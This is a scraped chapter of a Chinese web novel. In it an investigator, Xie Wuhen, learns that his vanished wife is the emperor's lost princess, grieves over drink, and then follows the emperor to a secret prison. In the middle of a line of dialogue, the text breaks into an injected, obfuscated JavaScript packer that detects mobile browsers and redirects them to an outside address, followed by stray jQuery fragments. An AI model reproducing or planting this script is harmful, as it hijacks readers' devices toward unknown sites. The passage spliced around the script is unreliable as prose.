默认冷灰
24号文字
方正启体

115. 真相4

作者:十豆水本书字数:K更新时间:
    曾艺道看向殿外的天光,轻舒一口气:“曾某去岁便查到师妹的女儿沦落成李家女的奴婢,于是费尽心机在李家安插了一名眼线,从这名眼线口中得知,师妹的女儿在李家女被贬去别院时便被其发卖,不知所踪,且那李家女自别院返京后也性情大变,不仅不跋扈了,且还时常大发善心对下人施以恩惠,俗话说江山易改本性难移,曾某不相信一个人能这般轻易地脱胎换骨,故尔找到李家别院的几名奴仆一番打听,由此便推断出师妹的女儿已顶替李家女的身份顺利进入李家,而真正的李家女或许已被其杀死。”


    谢无痕无言,不想反驳什么,也不想透露什么。


    他只感觉到无力,感觉到心上长出了一堆窟窿,令他的胸口“呼呼”冒着风、漏着气。


    皇帝却情难自抑,双眸因激动而灼灼生辉:“看来……她确实是朕的女儿,朕也确实见过自己的女儿。”他说着顿了顿,面上随之浮起几许疑惑:“她既是朕的女儿,长得也像多福,那又如何去冒名顶替那李家女呢,莫非李泰安不认识自己的女儿?”


    曾艺道答:“据说师妹的女儿与那李家嫡女长得颇为相像,不知后来又用了什么法子,令二人相貌再无二致。”


    皇帝忙不迭点头:“原来如此,原来如此。”


    转而又问:“你可知公主现在去了何处?”


    曾艺道垂首答:“草民不知。”


    皇帝又问谢无痕:“子谕也查了好些时日了,可有查到什么眉目?”


    谢无痕垂首,摇头,一言不发。


    他整个人恍如一根被折断的树,突然失去了一切生机。


    皇帝瞧出他的异样,吩咐曾艺道:“今日就到此为止,你先退下吧,来日若有公主的消息,可随时进宫来见朕。”


    曾艺道也不再废话,抱拳施了一礼,躬身退下了。


    他徐徐步出未央殿,行至殿门外时抬眸看天,天空覆着厚重的云层,不见阳光。


    他对着天幕自言自语:“师妹,现在的结局是你想要的吗?”


    无人应他。


    天幕也仍是那块天幕。


    他长长叹了口气,提步走下了台阶。


    秋日冷风里,他的背影愈发孤冷而决绝。


    未央殿内,谢无痕的神色仍有些迟滞。


    真相压垮了他,令他一时难以自持——令他对自己、对周围世界产生诸多质疑。


    皇帝软言相劝:“子谕,你得振作,你得替朕找到公主,你得替自己找回娘子。”


    谢无痕躬下身体,屈膝跪地,“皇上,臣……没想到家中娘子便是……公主……”


    皇帝弯腰去扶他:“这世间事,总有些是让人意想不到的,你今日回去后休整一晚,明日进宫与朕商议寻人之事。”


    他喃喃应“是”,随即起身出了未央殿。


    他记不清自己是如何走出的宫门,如何坐上的马车,即便马车到达谢府门口,他仍是浑浑噩噩地靠在车壁上,一动也未动。


    吴生提醒:“头儿,到了,该下车了。”


    他没理他,也未下车。


    吴生有些疑惑:“可是皇上下达了什么旨意,令头儿这般消沉?”


    他总觉得自打头儿从宫里出来后,便好似被抽空了精气神儿,整个人都萎靡了下去。


    谢无痕喃喃低语:“无事。”随即才起身下了马车。


    正值午后,府中诸人皆在歇晌,甬道上一片寂静。


    寒风袭来,拂得他的衣摆猎猎作响,也拂得他心头一阵空鸣。


    他记得他也曾无数次与苏荷走在这条甬道上,有时他们携手而行,有时他们并肩而往。


    有时他们打闹、逗趣;有时他生闷气、她安慰他。


    正是在这条甬道上,她向他道出自己的小名叫“妞妞”,后来又说不想让他唤“妞妞”,想让他唤“和和”。


    他一瞬情难自抑,将脑中的回忆狠狠摁灭,快步回到了春华院。


    春华院仍是原来的样子。


    除了女主人失踪,一切如常。


    她虽离开了,却未带走一分一毫,甚至连木柜里的衣物也未少一件,甚至连他最后送的那副头面也未挪动半分。


    她是不想得到他半点好处吧?


    还是不想让事情穿帮,以便让那个真正的李姝丽蒙混过关?


    她就那么希望让另一个女人来成为他的妻,来取代她的位置?


    想到这些,他胸间又涌动着无尽的悲痛与愤恨。


    春兰入得屋来,试探问:“姑爷可用了午膳,要不要让后厨备些膳食?”


    自上次在府邸门口虚惊一场后,谢无痕便再未让她回柴房,她也就顺势留在了春华院伺候。


    他疲惫不堪地靠在玫瑰椅里,哑声答:“不用了。”


    春兰又问:“姑爷要不要吃些小食?”


    他冷声回:“出去。”


    春兰吓得一顿,忙垂首退出了屋子。


    片刻后他从玫瑰椅里起身,去博古架上取了一瓶桃花酿,那还是以前他与苏荷喝剩的酒。


    他脑子里塞了太多往事,不想回忆却又控制不住回忆,他想灌醉自己,让自己沉沉睡一觉,醒来后或许就能轻松些了。


    他将一整罐桃花酿全灌进了肚子里,灌得他意识迷离、神思恍惚。


    恍惚间,他好似又看到娘子在唤他“夫君”,在劝他少饮。


    娘子问:“若夫君抓到那个杀人的女子,会将她斩首吗?”


    他摇头:“不会,我不会将娘子斩首的。”


    娘子又问:“贫妾骗了夫君,夫君会恨贫妾吗?”


    他仍是摇头:“不会,我舍不得恨娘子,舍不得……”


    他自诩聪慧过人,却从未想过,他要找的人一直就在他的眼皮底下,一直与他同住一屋、同睡一床。


    他甚至几次差点就发现了她,譬如他明明知道刘达忠被杀那晚她出过城门;譬如他明明在周元泽被杀时在清水河南岸的茶铺里遇见了她……


    可他从未疑过她是杀人凶手、从未疑过她是冒名顶替。


    他更是从未疑过她就是他寻找了数月的公主。


    倘若他能及时认出她,她便不会离开他了吧?


    他一口一口地猛灌着自己。


    悲痛与悔恨如两把利刃,在他胸口上来回凌迟。


    吴生满脸担忧地进屋:“头儿怎还把自己灌醉了?”


    又说:“头儿若是想念少夫人,明日小的便加派人手去找,即便将梁国翻个底朝天,也定会将少夫人找回来的。”


    谢无痕浑身酒气,踉跄了一下,倒在了屋内的软榻上。


    他似半梦半醒,喃喃问:“你说……我是不是很无能?”


    吴生答:“头儿英明神武智勇双全,连皇上都对头儿赞赏有加呢,头儿又怎会无能?”


    他“嗤笑”一声:“这不过是假象而已……一切都是假象……”


    吴生不解:“头儿今日究竟怎么了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313784|172640||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    他迷迷糊糊回:“没怎么,我就是……难受……”


    为自己的无能难受,为自己的笨掘懊悔!


    吴生伸臂去搀他:“时辰不早了,头儿还是去床上歇息吧。”


    喝醉的男人甩开他的手臂,继而将整张脸埋进了软榻的棉垫里,那棉垫上似还残留着苏荷的气息。


    吴生无奈叹了口气,“既然头儿不想睡床,那干脆就睡在软榻上吧。”他说完给主子脱掉鞋袜、外衣,再将床上的被褥抱到软榻上,盖在了主子身上。


    谢无痕这一觉睡得很沉,次日醒来已是日上三杆。


    知道他醉了酒,下人也不敢叫醒他,怕一不小心触了霉头,吴生更是提前去大理寺给他告了假。


    天气晴好,心绪也略略舒缓。


    他从榻上起来,自行更衣洗漱。


    吴生领着春兰提着早膳进屋:“头儿吃完饭继续睡吧,刘祈年已允了头儿的假。”


    谢无痕又恢复了往日冷峻的面色:“不必,待会儿备车,去宫里。”


    吴生不解:“昨儿个才去过宫里,这会儿……又要去么?”


    昨儿个去宫里定是发生了什么事,所以头儿才会那般反常,不知今日去宫里又会发生什么,不知头儿又会如何反常。


    谢无痕却语气冷硬:“你去备车便是。”


    吴生垂首应“是”。


    早膳乃是春兰做的玉米饼、板栗糕,以及小米粥。


    谢无痕看着那盘板栗糕兀地怔了怔,他记得她爱吃栗子。


    他喃喃问:“你家小姐以前,是不是也喜欢吃这板栗糕?”


    春兰答:“是,凡是栗子做的糕点,小姐都喜欢吃。”


    他又问:“你们以前在李家时,也能吃到这些吗?”


    春兰摇头,又点头:“李姝丽每每殴打完婢女后,便会给挨打的婢女赏一盘糕点,偶尔……便也能吃上一回。”


    谢无痕半晌无言,随后吩咐:“今日这盘板栗糕便赏给你吧。”说完放下碗箸,起身出了屋。


    薄薄的晨雾里,他的背影也带着几份孤冷与决绝。


    谢无痕到达未央殿时,皇帝已等候他多时。


    皇帝开口便说:“朕会再给你加派人手,以便更快地找到公主。”


    谢无痕面色肃穆,目光幽深。


    一夜醉酒,一夜沉睡,他看上去更消瘦了,却也更沉稳了,似是某种置之死地而后生的力量在支撑着他。


    他说:“臣记得皇上曾与臣提到过塑骨。”


    皇帝蹙眉:“为何突然提起这桩?”


    他答:“公主的面相,应该是塑了骨。”


    皇帝神色一顿,眸中浮起几许慌张:“当今熟知塑骨这门技艺之人,唯白今安也。”


    他问:“白今安是何人?”


    皇帝答:“正是那位与朕有着一模一样的容貌、一门心思想要谋权篡位之人。”


    谢无痕胸口一紧:“也就是说,公主有可能落到了此人手里?”


    皇帝面色发白,随后抿着唇角发狠道:“朕带你去一个地方。”


    他问:“去何处?”


    皇答冷声答:“去了你就知道了。”


    当日,皇帝坐上轿辗出宫,带着谢无痕去了一处暗牢。


    二人穿过暗牢幽暗潮湿的走廊,来到了一间囚室门口。


    透过结实的铁栅门,谢无痕一眼看到了囚室中的囚徒,那是个精神矍铄且白发白须的老头儿……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)